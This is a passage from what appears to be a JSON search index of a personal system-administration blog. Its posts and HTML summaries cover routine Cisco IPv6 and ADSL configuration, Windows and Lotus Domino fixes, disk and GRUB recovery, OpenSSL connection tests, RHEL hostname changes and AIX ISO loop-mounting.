failed.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e146\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eServer connection failed.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e148\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to create zip file.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e149\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to unzip file.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e160\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to send scan results.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e161\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to send TSM status results.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e164\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eFailed to validate user.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e165\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eJob file was not found.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e166\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eJob was not stopped.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e168\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNot enough free space available while copying file from server.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e169\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eMultipath driver not found.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e170\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eMultipath device not found.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e171\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eMultipath policy is not supported.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e172\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eOnly Round Robin policy is supported for Multipath DM driver.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e","title":"TPC - Storage Resource agent error code"},{"content":"DRAFT\nipv6 unicast-routing ipv6 cef interface FastEthernet0/0 ipv6 address NODE-PD ::1/64 ipv6 enable interface Dialer0 ipv6 address NODE-PD ::1/128 ipv6 enable ipv6 dhcp client pd NODE-PD rapid-commit ipv6 route ::/0 Dialer0 DRAFT\n","permalink":"https://www.deepreflect.net/2012/06/09/ipv6-prefix-delegation-cisco-ios/","summary":"\u003cp\u003e\u003cstrong\u003eDRAFT\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eipv6 unicast-routing\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eipv6 cef\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003einterface FastEthernet0/0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eipv6 address NODE-PD ::1/64\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eipv6 enable\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003einterface Dialer0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eipv6 address NODE-PD ::1/128\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eipv6 enable\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eipv6 dhcp client pd NODE-PD rapid-commit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eipv6 route ::/0 Dialer0\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eDRAFT\u003c/strong\u003e\u003c/p\u003e","title":"IPv6 prefix delegation - Cisco IOS"},{"content":"To my amazement, Telecom Italia released a pilot project of IPv6 deployment on residential/dynamic ip only adsl internet access, but on theirs support site there\u0026rsquo;s configuration only for some useless systems. So, I\u0026rsquo;ve decided to write a configuration for Cisco platform.\nUsually the typical Telecom Italia PPPoE or PPPoA ADSL connection with dynamic IPv4 only was authenticated with \u0026ldquo;aliceadsl\u0026rdquo; as user and password, now with bran new credential along IPv4 the endpoint router advertise a IPv6 /64 class (always dynamic).\nusername: adsl@alice6.it password: IPV6@alice6\nAnd now IOS configuration:\n- ATM inteface:\ninterface ATM0/0/0 no ip address atm restart timer 300 no atm ilmi-keepalive dsl operating-mode auto hold-queue 100 in ! interface ATM0/0/0.1 point-to-point pvc 8/35 vbr-nrt 380 380 oam-pvc manage encapsulation aal5mux ppp dialer dialer pool-member 1 - Dialer inteface:\ninterface Dialer0 mtu 1492 ip address negotiated ip nbar protocol-discovery ip flow ingress ip virtual-reassembly encapsulation ppp dialer pool 1 dialer-group 1 ipv6 address autoconfig ipv6 enable no cdp enable ppp authentication chap callin ppp chap hostname adsl@alice6.it ppp chap password 0 IPV6@alice6 ppp pap sent-username adsl@alice6.it password 0 IPV6@alice6 - Route configuration:\nip route 0.0.0.0 0.0.0.0 Dialer0 ipv6 route 2000::/3 Dialer0 You can check with following command:\nroute01#sh ip int brief | sec Dialer0 Dialer0 XXX.XXX.XXX.XXX YES IPCP up up route01#sh ipv6 int brief | sec Dialer0 Dialer0 [up/up] FE80::1 2A01:2003:xxxx:xxxx::1 You can discover your /64 assigned class with:\nroute01#sh ipv6 int di0 | sec Global Global unicast address(es): 2A01:2003:xxxx:xxxx::1, subnet is 2A01:2003:xxxx:xxxx::/64 [PRE] valid lifetime 2591993 preferred lifetime 604793 route01# I\u0026rsquo;ve left out NAT and other further configuration.\nUpdate: prefix delegation\n","permalink":"https://www.deepreflect.net/2012/06/08/telecom-italia-ipv6-pilot-on-cisco/","summary":"\u003cp\u003eTo my amazement, Telecom Italia released a pilot project of IPv6 deployment on residential/dynamic ip only adsl internet access, but on theirs support site there\u0026rsquo;s configuration only for some useless systems. So, I\u0026rsquo;ve decided to write a configuration for Cisco platform.\u003c/p\u003e\n\u003cp\u003eUsually the typical Telecom Italia PPPoE or PPPoA ADSL connection with dynamic IPv4 only was authenticated with \u0026ldquo;aliceadsl\u0026rdquo; as user and password, now with bran new credential along IPv4 the endpoint router advertise a IPv6 /64 class (always dynamic).\u003c/p\u003e","title":"Telecom Italia - IPv6 Pilot on Cisco"},{"content":" Datacenter Work, a photo by Leonardo Rizzi on Flickr.\n","permalink":"https://www.deepreflect.net/2012/05/27/datacenter-work/","summary":"\u003cp\u003e\u003ca href=\"https://www.flickr.com/photos/stars6/4381851322/\" title=\"Datacenter Work\"\u003e\u003cimg alt=\"Datacenter Work by Leonardo Rizzi\" loading=\"lazy\" src=\"https://farm3.staticflickr.com/2775/4381851322_d46fd7d75e.jpg\"\u003e\u003c/a\u003e \u003ca href=\"https://www.flickr.com/photos/stars6/4381851322/\"\u003eDatacenter Work\u003c/a\u003e, a photo by \u003ca href=\"https://www.flickr.com/photos/stars6/\"\u003eLeonardo Rizzi\u003c/a\u003e on Flickr.\u003c/p\u003e","title":"Datacenter Work"},{"content":"Memo:\nhttp://www-304.ibm.com/support/docview.wss?uid=isg3T1012204\n","permalink":"https://www.deepreflect.net/2012/05/21/resolving-lvm-errors-from-ipl_varyon-i/","summary":"\u003cp\u003eMemo:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www-304.ibm.com/support/docview.wss?uid=isg3T1012204\"\u003ehttp://www-304.ibm.com/support/docview.wss?uid=isg3T1012204\u003c/a\u003e\u003c/p\u003e","title":"Resolving LVM errors from ipl_varyon -i"},{"content":"Remote Desktop Licensing service to fail to start, with error code %%-1073672191. The Terminal Services Licensing service cannot start. The following error occurred: Can\u0026#39;t initialize Cryptographic - error code 5. Sometime happens a problem with Remote Desktop Licensing services not starting. The Terminal Licensing MachineKeys have permissions for Administrators and/or TermServLicensing but the service starts using the \u0026ldquo;Network Service\u0026rdquo; account\u0026hellip; Why??????\nYou can fix the problem adding Network Service account (read only privileges it\u0026rsquo;s ok), on follow directory (you can force ownership propagation for reapply the correct privilege tree):\nC:\\\\Documents and Settings\\\\all users\\\\Application Data\\\\Microsoft\\\\Crypto\\\\RSA\\\\MachineKeys\nThen the service start, correctly.\nFor further information you can take a look at microsoft KB:\nDefault permissions for the MachineKeys folders: http://support.microsoft.com/kb/278381\nhttp://msdn.microsoft.com/en-us/library/bb909654%28v=vs.90%29.aspx\n","permalink":"https://www.deepreflect.net/2012/05/14/remote-desktop-licensing-service-to-fail-to-start/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRemote Desktop Licensing service to fail to start, with error code %%-1073672191.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eThe Terminal Services Licensing service cannot start. The following error occurred: Can\u0026#39;t initialize Cryptographic - error code 5.\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eSometime happens a problem with Remote Desktop Licensing services not starting.\nThe Terminal Licensing MachineKeys have permissions for Administrators and/or TermServLicensing  but the service starts using the \u0026ldquo;Network Service\u0026rdquo; account\u0026hellip; Why??????\u003c/p\u003e\n\u003cp\u003eYou can fix the problem adding Network Service account (read only privileges it\u0026rsquo;s ok), on follow directory (you can force ownership propagation for reapply the correct privilege tree):\u003c/p\u003e","title":"Remote Desktop Licensing service to fail to start"},{"content":"There was a kernel change from version 2.6.x that causes statistics to suck 100% of CPU, even though the system is lightly loaded, that cause a server crash when loading platform statistics\nYou can disable this feature by adding this to your notes.ini and restarting the Domino server. PLATFORM\\_STATISTICS\\_DISABLED=1\n","permalink":"https://www.deepreflect.net/2012/04/30/lotus-domino-server-linux-process-100-cpu-usage/","summary":"\u003cp\u003eThere was a kernel change from version 2.6.x that causes statistics to suck 100% of CPU, even though the system is lightly loaded, that cause a server crash when loading platform statistics\u003c/p\u003e\n\u003cp\u003eYou can disable this feature by adding this to your \u003ccode\u003enotes.ini\u003c/code\u003e and restarting the Domino server.\n\u003ccode\u003ePLATFORM\\_STATISTICS\\_DISABLED=1\u003c/code\u003e\u003c/p\u003e","title":"Lotus Domino server linux process 100% CPU usage"},{"content":"First think, scan your damage disk with a tool like \u0026ldquo;testdisk\u0026rdquo; (http://www.cgsecurity.org/wiki/TestDisk) look for lost partitions, unfortunately HFS is not fully supported by this great tool, then you need to use pdisk or other partition software.\nDisk /dev/rdisk3 - 1000 GB / 931 GiB - CHS 121601 255 63 Partition Start End Size in sectors \u0026gt;P HFS 262208 1953525151 1953262944 In my case, I\u0026rsquo;ve used pdisk directly on OS X:\nleobook4-w:~ root# pdisk /dev/rdisk3 pdisk: No valid block 1 on \u0026#39;/dev/rdisk3\u0026#39; Edit /dev/rdisk3 - Command (? for help): i A physical block is 512 bytes: A logical block is 512 bytes: size of \u0026#39;device\u0026#39; is 1953525168 blocks (512 byte blocks): new size of \u0026#39;device\u0026#39; is 1953525168 blocks (512 byte blocks) Command (? for help): c First block: 262208 Length in blocks: 1953262944 Name of partition: recover\\_leo Command (? for help): w Writing the map destroys what was there before. Is that okay? \\[n/y\\]: y The partition table has been altered! Command (? for help): q ","permalink":"https://www.deepreflect.net/2012/03/25/recovery-hfs-partition-table/","summary":"\u003cp\u003eFirst think, scan your damage disk with a tool like \u0026ldquo;testdisk\u0026rdquo; (\u003ca href=\"http://www.cgsecurity.org/wiki/TestDisk\"\u003ehttp://www.cgsecurity.org/wiki/TestDisk\u003c/a\u003e) look for lost partitions, unfortunately HFS is not fully supported by this great tool, then you need to use pdisk or other partition software.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e Disk /dev/rdisk3 - 1000 GB / 931 GiB - CHS 121601 255 63\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e Partition Start End Size in sectors\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u0026gt;P HFS 262208 1953525151 1953262944\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIn my case, I\u0026rsquo;ve used pdisk directly on OS X:\u003c/p\u003e","title":"Recovery HFS partition table"},{"content":"Memo for testing ssl/startls connection:\nStarTLS:\n[leo@thinkleo2 ~]$ openssl s_client -connect mail.wide-net.org:25 -starttls smtp CONNECTED(00000003) [...] Verify return code: 0 (ok) --- 220 srv01.mil1.wide-net.org ESMTP - Life is short talk fast! SSL:\n[leo@thinkleo2 ~]$ openssl s_client -connect mail.wide-net.org:465 CONNECTED(00000003) [...] Verify return code: 0 (ok) --- 220 srv01.mil1.wide-net.org ESMTP - Life is short talk fast! ","permalink":"https://www.deepreflect.net/2012/03/02/openssl-client-connect/","summary":"\u003cp\u003eMemo for testing ssl/startls connection:\u003c/p\u003e\n\u003cp\u003eStarTLS:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[leo@thinkleo2 ~]$ openssl s_client -connect mail.wide-net.org:25 -starttls smtp\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCONNECTED(00000003)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[...]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Verify return code: 0 (ok)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e---\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e220 srv01.mil1.wide-net.org ESMTP - Life is short talk fast!\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eSSL:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[leo@thinkleo2 ~]$ openssl s_client -connect mail.wide-net.org:465\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCONNECTED(00000003)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[...]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Verify return code: 0 (ok)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e---\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e220 srv01.mil1.wide-net.org ESMTP - Life is short talk fast!\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"OpenSSL - client connect"},{"content":"3 step for change hostname to RHEL Linux:\nedit: /etc/hosts 127.0.0.1 srv03.mil1.wide-net.org localhost.localdomain localhost edit: /etc/sysconfig/network HOSTNAME=srv03.mil11.wide-net.org\npast into kernel new hostname echo \u0026quot;srv03.mil1.wide-net.org\u0026quot; \u0026gt; /proc/sys/kernel/hostname\nOr\nsysctl kernel.hostname=srv03.mil1.wide-net.org\nConsider a restart net services /etc/init.d/network restart but is not strictly required.\n","permalink":"https://www.deepreflect.net/2012/02/26/linux-rhel-change-hostname/","summary":"\u003cp\u003e3 step for change hostname to RHEL Linux:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eedit: /etc/hosts\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e127.0.0.1 srv03.mil1.wide-net.org localhost.localdomain localhost\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"2\"\u003e\n\u003cli\u003e\n\u003cp\u003eedit: \u003ccode\u003e/etc/sysconfig/network\u003c/code\u003e\n\u003ccode\u003eHOSTNAME=srv03.mil11.wide-net.org\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003epast into kernel new hostname\n\u003ccode\u003eecho \u0026quot;srv03.mil1.wide-net.org\u0026quot; \u0026gt; /proc/sys/kernel/hostname\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eOr\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003esysctl kernel.hostname=srv03.mil1.wide-net.org\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eConsider a restart net services \u003ccode\u003e/etc/init.d/network restart\u003c/code\u003e but is not strictly required.\u003c/p\u003e","title":"Linux RHEL - Change hostname"},{"content":"I definitely hate Ubuntu, is not linux.\nroot@ubuntu:~# cd /mnt root@ubuntu:/mnt# mkdir md1 root@ubuntu:/mnt# mount /dev/md1 /mnt/md1/ root@ubuntu:~# mount -o bind /sys /mnt/md1/sys root@ubuntu:~# mount -o bind /dev /mnt/md1/dev root@ubuntu:~# mount -o bind /proc /mnt/md1/proc root@ubuntu:~# chroot /mnt/md1 /bin/bash root@ubuntu:~# ls -l /dev/disk/by-uuid/ total 0 lrwxrwxrwx 1 root root 9 2012-02-05 11:00 455c4bdc-37d5-46ef-bb8b-d5b50c9e4e9a -\u0026gt; ../../md1 root@ubuntu:/# vim /boot/grub/grub.cfg root@ubuntu:/# update-grub Generating grub.cfg ... Found linux image: /boot/vmlinuz-2.6.32-33-generic-pae Found initrd image: /boot/initrd.img-2.6.32-33-generic-pae Found linux image: /boot/vmlinuz-2.6.32-28-generic-pae Found initrd image: /boot/initrd.img-2.6.32-28-generic-pae Found memtest86+ image: /boot/memtest86+.bin done root@ubuntu:/# grub-install /dev/sda Installation finished. No error reported. root@ubuntu:/# grub-install --recheck /dev/sda Installation finished. No error reported. root@ubuntu:/# cfdisk /dev/sda ","permalink":"https://www.deepreflect.net/2012/02/05/stupid-ubuntu-grub-recovery-on-raid/","summary":"\u003cp\u003eI definitely hate Ubuntu, is not linux.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@ubuntu:~# cd /mnt\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@ubuntu:/mnt# mkdir md1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@ubuntu:/mnt# mount /dev/md1 /mnt/md1/\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@ubuntu:~# mount -o bind /sys /mnt/md1/sys\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@ubuntu:~# mount -o bind /dev /mnt/md1/dev\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@ubuntu:~# mount -o bind /proc /mnt/md1/proc\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@ubuntu:~# chroot /mnt/md1 /bin/bash\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@ubuntu:~# ls -l /dev/disk/by-uuid/\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etotal 0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elrwxrwxrwx 1 root root  9 2012-02-05 11:00 455c4bdc-37d5-46ef-bb8b-d5b50c9e4e9a -\u0026gt; ../../md1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@ubuntu:/# vim /boot/grub/grub.cfg\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@ubuntu:/# update-grub\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGenerating grub.cfg ...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFound linux image: /boot/vmlinuz-2.6.32-33-generic-pae\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFound initrd image: /boot/initrd.img-2.6.32-33-generic-pae\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFound linux image: /boot/vmlinuz-2.6.32-28-generic-pae\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFound initrd image: /boot/initrd.img-2.6.32-28-generic-pae\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFound memtest86+ image: /boot/memtest86+.bin\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edone\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@ubuntu:/# grub-install /dev/sda\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInstallation finished. No error reported.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@ubuntu:/# grub-install --recheck /dev/sda\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInstallation finished. No error reported.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@ubuntu:/# cfdisk /dev/sda\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Stupid Ubuntu - Grub recovery on RAID"},{"content":"Rate Algorithm: defines data rate algorithm convergence:\nOptimistic Algorithm is aggressive enough to move to a higher rate but yet tries to conservatively capture the fluctuations of the RSSI. It starts with the highest possible rate and then decreases till the rate can be supported while periodically transmitting packets at higher rates and computing the transmission time. The optimistic rate algorithm always looks to achieve highest throughput while sacrificing noise immunity and robustness.\nRate Algorithm selection Conservative Algorithm is less sensitive to individual packet failure as it is based on a function of number of successful and erroneous transmission/retransmission over a sampling period. It steps down to a lower rate after continuous packet failure and steps up after number of successful packets. The conservative rate algorithm provides the best case stability / robustness, but may compromise maximum throughput. It is recommended to select conservative rate algorithm when the signal strength is low due to noisy environment or link distance.\nEWMA Algorithm is trying to move to a higher rate but is continuously monitoring the packet failure counters. The Exponential Weighted Moving Average (EWMA) Algorithm (also known as minstrel) is a hybrid of the Conservative and Optimistic Algorithm. It is the compromise for most of the wireless network use cases.\n","permalink":"https://www.deepreflect.net/2012/01/29/airos-rate-algorithm/","summary":"\u003cp\u003eRate Algorithm: defines data rate algorithm convergence:\u003c/p\u003e\n\u003cp\u003eOptimistic Algorithm is aggressive enough to move to a higher rate but yet tries to conservatively capture the fluctuations of the RSSI. It starts with the highest possible rate and then decreases till the rate can be supported while periodically transmitting packets at higher rates and computing the transmission time. The optimistic rate algorithm always looks to achieve highest throughput while sacrificing noise immunity and robustness.\u003c/p\u003e","title":"AirOS - Rate Algorithm"},{"content":"[leo@thinkleo2 ~]$ /opt/google/earth/free/google-earth Google Earth appears to be running already. Please kill the existing process, or delete /home/leo/.googleearth/instance-running-lock if this is an error. [leo@thinkleo2 ~]$ rm /home/leo/.googleearth/instance-running-lock [leo@thinkleo2 ~]$ /opt/google/earth/free/google-earth ","permalink":"https://www.deepreflect.net/2012/01/06/linux-google-earth/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[leo@thinkleo2 ~]$ /opt/google/earth/free/google-earth\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGoogle Earth appears to be running already. Please kill the\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e existing process, or delete /home/leo/.googleearth/instance-running-lock if this is an error.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[leo@thinkleo2 ~]$ rm /home/leo/.googleearth/instance-running-lock\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[leo@thinkleo2 ~]$ /opt/google/earth/free/google-earth\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Linux - Google Earth"},{"content":"Finally on aix 6.1 ibm have introduced mounting of iso directly without raw copy on lv:\nCheck if necessary loopback device is available\n# lsdev -C | grep loop if nothing returned, run:\n# mkdev -c loopback -s node -t loopback loop0 Available If the device is not present on system you get this error:\n1320-003 loopmount: Specified loopback device is not found in ODM Now for mount:\n# loopmount -i /iso/dvd.iso -l loop0 -o \u0026#34;-V cdrfs -o ro\u0026#34; -m /mnt/dvd And umount:\n# loopumount -l loop0 -m /mnt/dvd Attention: an image file can be associated with only one loopback device.\n","permalink":"https://www.deepreflect.net/2011/12/19/aix-loopmount/","summary":"\u003cp\u003eFinally on aix 6.1 ibm have introduced mounting of iso directly without raw copy on lv:\u003c/p\u003e\n\u003cp\u003eCheck if necessary loopback device is available\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# lsdev -C | grep loop\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eif nothing returned, run:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# mkdev -c loopback -s node -t loopback\n\u003c/span\u003e\u003c/span\u003e\u003cspan 